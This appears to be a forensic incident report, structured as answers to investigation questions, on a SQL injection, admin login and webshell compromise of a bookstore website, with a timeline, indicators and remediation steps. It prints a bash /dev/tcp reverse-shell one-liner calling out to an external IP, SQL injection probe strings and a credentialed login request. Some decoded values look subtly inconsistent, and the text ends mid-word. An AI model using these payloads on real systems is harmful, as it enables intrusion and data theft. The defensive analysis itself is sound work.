

Operation Silent Intrusion : Incident Report

1. Executive Summary

Between approximately 22:14 and 01:25 an external threat actor conducted a multi-stage attack against the NetSysLink web application hosted at bookworldstore.com (73.124.22.98). The attack originated from IP 111.224.250.131, geolocated to Shijiazhuang, Hebei Province, China.

The attacker followed a web application compromise chain: reconnaissance, SQL injection exploitation, database exfiltration, directory brute-force, admin panel authentication, and finally webshell deployment for persistent access. The entire operation from first probe to webshell execution was completed within a single session.

Key outcomes of this incident:

- Admin credentials extracted from the database (admin / admin123!)
- Two full database tables exfiltrated: admin credentials and customer PII (names, emails, addresses, phone numbers)
- PHP reverse shell uploaded to /admin/uploads/NVri2vhp.php, connecting back to attacker on port 443
- Persistent access established via webshell execution

SEVERITY: CRITICAL

Full compromise of web application database. Customer PII exfiltrated. Reverse shell with persistent access established. Immediate containment, credential rotation, and forensic preservation required.

2. Incident Metadata

Incident Reference	INC-2024-0001 / Operation Silent Intrusion
Target System	bookworldstore.com — 73.124.22.98 (Apache/2.4.52 on Ubuntu)
Attacker IP	111.224.250.131
Attacker Geolocation	Shijiazhuang, Hebei, China (ISP: ChinaNet)
Legitimate User IP	170.40.150.126
Attack Vector	Web Application — SQL Injection → Webshell
Tools Identified	sqlmap (automated), custom manual SQLi probes, dirb/gobuster (dir brute-force)
Evidence Source	WebInvestigation.pcap — 88,740 frames captured
Protocol	HTTP (plaintext) over TCP port 80

3. Attack Timeline

All timestamps are relative seconds from PCAP capture start. The legitimate user (170.40.150.126) was active from T+0s to T+1,320s. The attacker arrived at T+1,335s.

PCAP Time	Phase	Activity
T+1,335	Reconnaissance	Attacker (111.224.250.131) begins browsing: /, /about.php, /contact.php, /faq.php
T+1,382	Probe	Initial benign search queries on /search.php (test, war, book)
T+1,450	SQLi — Manual	First SQLi probe: /search.php?search=book' (single quote injection test)
T+1,471	SQLi — Manual	Boolean-based tests: book and 1=1; -- - and book and 1=2; -- -
T+1,506	SQLi — Manual	OR-based tests: test' OR 1=1; -- and ' or 1=1; -- -
T+1,693	SQLi — sqlmap	Automated sqlmap engagement begins: error-based, time-based blind, UNION enumeration across all injection contexts
T+1,706	SQLi — UNION	Column count enumeration: UNION ALL SELECT NULL,NULL... up to 10 columns
T+1,731	DB Fingerprint	Database version and type fingerprinting via VERSION(), JSON_STORAGE_FREE(), @@VERSION_COMMENT
T+1,758	DB Enum	Schema extraction: INFORMATION_SCHEMA.SCHEMATA — returns mysql, information_schema, bookworld_db, sys
T+1,776	DB Enum	Table enumeration from bookworld_db: admin, books, customers
T+1,811	Exfiltration	Column dump from admin table; full record exfiltrated: id=1, username=admin, password=admin123!
T+1,818	Exfiltration	Column dump from customers table; full PII records exfiltrated (names, emails, addresses, phones)
T+1,835	Exfiltration	Column/data dump from books table
T+1,979–1,985	Dir Brute-Force	Automated directory brute-force (~thousands of paths probed: /admin, /uploads, /backup, /config, etc.)
T+2,016	Discovery	/admin directory discovered — HTTP 301 redirect to /admin/. Login page at /admin/login.php confirmed.
T+2,023	Auth — Attempt 1	POST /admin/login.php — username=admin&password=admin → FAILED

T+2,070	Auth — Attempt 2	POST /admin/login.php — username=admin&password=changeme → FAILED
T+2,074	Auth — Attempt 3	POST /admin/login.php — username=default&password=default → FAILED
T+2,294	Auth — SUCCESS	POST /admin/login.php — username=admin&password=admin123! → HTTP 302 redirect to /admin/index.php
T+2,697	Webshell Upload	POST /admin/index.php — multipart file upload of NVri2vhp.php (PHP reverse shell)
T+2,703	Persistence	GET /admin/uploads/NVri2vhp.php — webshell triggered; reverse shell connects to 111.224.250.131:443

4. Investigation Findings & IOC Breakdown

Q1. Attacker IP Address

Finding	111.224.250.131
Observation	Volume and behavioral analysis confirm 111.224.250.131 as the attacker.

Q2. Geographic Origin

Finding	Shijiazhuang, Hebei Province, China
ISP/ASN	ChinaNet Hebei Province Network (AS4134)
Evidence Method	IP geolocation lookup against 111.224.250.131

Q3. First Exploited Script/Endpoint

Finding	/search.php
First Probe Timestamp	T+1,450s
Evidence	First SQLi character injected into the search parameter of /search.php. All subsequent SQL injection occurred exclusively through this endpoint.

Q4. Complete URI of the First SQL Injection Attempt

Finding	/search.php?search=book'
Timestamp	T+1,450.030s
Technique	Single-quote injection — classic first step to probe for unsanitized string concatenation in SQL query
URL-decoded	/search.php?search=book%27 → /search.php?search=book'

Q5. How the Attacker Extracted Sensitive Database Information

Technique	UNION-based SQL Injection via sqlmap
Tool Identified	sqlmap (fingerprinted from automated query patterns, randomized comment strings, timing probes across MySQL/PostgreSQL/MSSQL/Oracle dialects)
Method	After manual confirmation, sqlmap automated the extraction: column count via UNION NULL chaining, then JSON_ARRAYAGG(CONCAT_WS(...)) to aggregate and exfiltrate entire table contents in single responses

Extraction chain:

- Step 1 — Column count: UNION ALL SELECT NULL,NULL... (tested up to 10 NULLs; 2-column match confirmed)
- Step 2 — Schema enumeration: JSON_ARRAYAGG(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA
- Step 3 — Table enumeration: JSON_ARRAYAGG(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x626f66b776f726c645f6462

- Step 4 — Column enumeration per table: INFORMATION_SCHEMA.COLUMNS queries
- Step 5 — Full data dump: SELECT id, password, username FROM bookworld_db.admin

Q6. Database Table Containing Compromised User Records

Primary Target Table	admin (bookworld_db.admin)
Secondary Target Table	customers (bookworld_db.customers)
Tables in Database	admin, books, customers

The admin table was dumped first and yielded login credentials:

```
qxvbq["1zvgjckadmin123!zvgjckadmin"]qvpjq
```

Decoded (delimiter=zvgjck): id=1 | password=admin123! | username=admin

The customers table was dumped next, yielding full PII records:

```
qxvbq["idzvgjckint", "passwordzvgjckvarchar(255)", "usernamezvgjckvarchar(255)"]qvpjq
```

PII EXPOSURE

10+ customer records confirmed exfiltrated including: first_name, last_name, email, address, phone. Sample: John Doe | 123 Maple Street | john.doe1234@gmail.com | 555-1234. Regulatory notification obligations (NDPR) must be assessed immediately.

Q7. Hidden Directory Discovered and Accessed

Directory	/admin
Full Path Accessed	/admin/ and /admin/login.php
Discovery Method	Automated directory brute-force (T+1,979–1,985s) — thousands of paths probed sequentially
Server Response	HTTP 301 to /admin/, then HTTP 200 on /admin/login.php
Upload Directory	/admin/uploads/ (discovered post-login at T+2,703s)

GET /admin → HTTP 301 → /admin/
GET /admin/ → HTTP 200 (admin panel redirect to login)
GET /admin/login.php → HTTP 200 (login form rendered)

Q8. Credentials Used for Unauthorized Access

Username	admin
Password	admin123!
Source	Extracted from bookworld_db.admin via SQL injection (Q5/Q6)

Three failed attempts preceded the successful login:

Attempt	Username	Password	Result
1	admin	admin	FAILED
2	admin	changeme	FAILED
3	default	default	FAILED
4 (SUCCESS)	admin	admin123!	HTTP 302 → /admin/index.php

POST /admin/login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin123%21

< HTTP/1.1 302 Found
< Location: index.php

Q9. Malicious Script Uploaded for Persistent Access

Filename	NVri2vhp.php
Upload Path	/admin/uploads/NVri2vhp.php
Upload Method	POST /admin/index.php (multipart/form-data file upload)
Execution	GET /admin/uploads/NVri2vhp.php → reverse shell callback
Shell Type	PHP exec() reverse bash shell
Callback Target	111.224.250.131:443 (attacker-controlled listener)

Webshell content (decoded from PCAP upload payload):

```
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/111.224.250.131/443 0>&1'");?>
```

This is a standard /dev/tcp reverse shell. When triggered via HTTP GET, it opens an interactive bash session to the attacker on port 443 (chosen to blend with HTTPS traffic and bypass egress firewall rules).

5. Indicators of Compromise (IOCs)

Type	Value	Context
IPv4	111.224.250.131	Attacker source IP — all malicious traffic
URL	/search.php	SQLi injection point — search parameter
URL	/admin/login.php	Admin panel — credential stuffing target
URL	/admin/uploads/NVri2vhp.php	PHP webshell — persistent backdoor
Filename	NVri2vhp.php	Reverse shell webshell (randomized name)
Credential	admin / admin123!	Admin panel credential (exfiltrated from DB)
C2 Port	443/TCP to 111.224.250.131	Reverse shell callback port
DB	bookworld_db	Target database — fully enumerated
Table	admin	Credential store — dumped
Table	customers	PII store — dumped

Tool Sig	sqlmap query patterns	Randomized comment strings, EXTRACTVALUE probes, JSON_ARRAYAGG exfil
User-Agent	sqlmap/automated	Inferred from query pattern cadence

6. Defensive Recommendations

6.1 Immediate Containment Actions

- Block 111.224.250.131 at the perimeter firewall and WAF in all directions
- Delete /admin/uploads/NVri2vhp.php immediately and audit the uploads directory for any other PHP files
- Take the web server offline or isolate it from the network pending full forensic review
- Rotate all credentials: admin panel, database users, and any service accounts on this server
- Revoke all active sessions on the admin panel
- Preserve the server disk image and PCAP as forensic evidence before any remediation

6.2 Vulnerability Remediation

SQL Injection

- Replace all raw SQL string concatenation with parameterized queries or prepared statements
- Apply input validation on all user-supplied parameters, whitelist expected formats, reject anomalies
- Deploy a Web Application Firewall (WAF) with SQLi rule sets (OWASP Core Rule Set minimum)
- Run DAST tooling (OWASP ZAP, Burp Suite Pro) against the full application surface before re-launch

Admin Panel Security

- Remove or restrict the /admin directory from public internet access, IP allowlist or VPN-only
- Enforce MFA on all admin panel logins
- Implement account lockout after 3 failed login attempts with exponential backoff
- Rename or obfuscate the admin path, security through obscurity is weak but raises the attacker's cost

File Upload

- Disable PHP execution in the /admin/uploads/ directory via .htaccess or server config (php_flag engine off)
- Validate uploaded file types server-side using magic byte inspection, not just extension or MIME header
- Store uploaded files outside the web root whenever possible
- Implement Content Security Policy headers to limit script execution

Credential Management

- Never store admin credentials in the same database as application data accessible via the web tier
- Hash passwords, the plaintext password in the admin table is a critical failure
- Enforce a strong password policy: minimum 16 characters, no dictionary words, mandatory complexity

6.3 Detection and Monitoring Improvements

- Implement rate limiting and anomaly detection on search endpoints, 400+ requests/second from a single IP is trivially detectable
- Alert on sequential HTTP 404s in high volume, directory brute-force has a clear signature
- Log and alert on INFORMATION_SCHEMA references in query logs at the DB layer
- Monitor outbound TCP connections from the web server, a bash reverse shell to an external IP on 443 should not originate from this host
- Deploy egress filtering: the web server has no business initiating outbound connections to China
- Add file integrity monitoring (FIM) on the web root, any new .php file in /admin/uploads/ should fire an alert

6.4 Regulatory and Legal Obligations

Given that customer PII (names, emails, physical addresses, phone numbers) was confirmed exfiltrated, the following obligations apply under Nigeria's NDPR (Nigeria Data Protection Regulation):

- Notify NITDA within 72 hours of confirmed breach discovery
- Notify affected data subjects without undue delay
- Document the breach, its scope, and remediation steps in the incident register
- Engage legal counsel to assess exposure and coordinate regulatory response

7. SOC Process and Tooling Improvement Observations

Several observations from this investigation point to detection gaps that would have caught this attack earlier:

- **Detection Gap:** No SQLi alerts fired

A WAF or NIDS (Snort/Suricata) with OWASP CRS rules would have flagged the very first UNION SELECT within seconds. If those alerts existed but were not actioned, that is a triage prioritization problem.

- **Detection Gap:** Volume anomaly went undetected

The attacker sent over 44,000 HTTP requests in roughly 25 minutes. Any baseline anomaly detection on request rate per source IP would have caught this.

- **Detection Gap:** No DB query logging integration

The SQLi was executed through the application layer. DB-level logging of queries containing INFORMATION_SCHEMA references or UNION keywords would give a second detection layer independent of the WAF.

- **Architecture Gap:** Outbound connection from web server not blocked

The reverse shell succeeded because the web server was permitted to initiate outbound TCP connections to arbitrary external IPs. Egress filtering with a default-deny policy and explicit allowlist would have broken the C2 channel.

- **Architecture Gap:** Admin panel exposed to the internet

No business requirement justifies exposing /admin to the public internet. VPN-gated access or IP allowlisting eliminates the entire credential stuffing phase of this attack.

- **Hardening Gap:** PHP execution in upload directory

A server security baseline check would have caught this. Directory-level PHP execution controls are a standard CIS hardening requirement.

8. Conclusion

This was a straightforward but effective attack. The threat actor exhibited proficiency with sqlmap and standard web application exploitation techniques. There was no zero-day exploitation, no advanced evasion, and no particularly novel technique. The attacker succeeded entirely because of preventable configuration failures: an injectable search parameter, an internet-facing admin panel, a PHP-executable upload directory, and credentials stored in plaintext in an accessible database table.

The kill chain could have been broken at multiple points with basic controls: parameterized queries, a WAF, rate limiting, egress filtering, or admin panel access control. None were in place.

The PCAP tells a complete story from first probe to persistent shell. The attacker left no ambiguity about their methods. The priority now is forensic preservation, full server rebuild from a known-good image, customer notification, and implementing the remediation steps in Section 6 before any return to product